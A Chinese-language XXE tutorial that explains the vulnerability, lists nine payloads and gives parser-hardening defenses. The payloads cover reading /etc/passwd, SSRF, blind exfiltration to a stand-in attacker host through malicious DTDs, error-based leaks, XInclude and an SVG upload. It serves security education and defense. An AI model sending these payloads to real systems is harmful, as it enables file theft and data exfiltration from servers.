一、漏洞原理
当应用程序使用 XML 格式传输数据,应用程序使用的是标准库来处理上传到服务器上的 XML 数据。由于XML 规范中包含了各种潜在的危险功能,而标准的解析器支持这些危险的功能,进而导致了XXE漏洞,换句话说就是引用了外部的恶意DTD。
二、常见利用方式
1、利用外部实体检索文件
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>&xxe;</stockCheck>
2、利用外部实体执行SSRF攻击
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<stockCheck>&xxe;</stockCheck>
3、外带交互的盲XXE
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
<stockCheck>&xxe;</stockCheck>
4、通过XML参数实体进行外带交互的盲XXE
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
<stockCheck>%xxe;</stockCheck>
5、利用盲XEE使用外部恶意DTD泄露数据
//外部恶意DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
//客户端插入XXE代码
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
6、利用盲XXE通过错误消息检索数据
//客户端插入XXE代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
7、利用XXE通过重新调整本地DTD的用途来检索数据
//用来测试该路径下是否存在docbookx.dtd文件,不存在报错。
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
//custom_entity 为重写的实体名
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
8、利用XInclude检索文件(隐藏XXE)
//将以下XXE代码当参数传入后端,后端处理参数时会引用http://www.w3.org/2001/XInclude命名空间,执行识别xi:include标签的功能性。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
9、通过图像文件上传利用XXE
//将以下代码放入SVG文件并上传
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
三、常见防护措施
1、禁用外部实体:
//php
libxml_disable_entity_loader(true);
//java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据:
关键词:<!DOCTYPE> 、<!ENTITY> 、SYSTEM、PUBLIC、INCLUDE。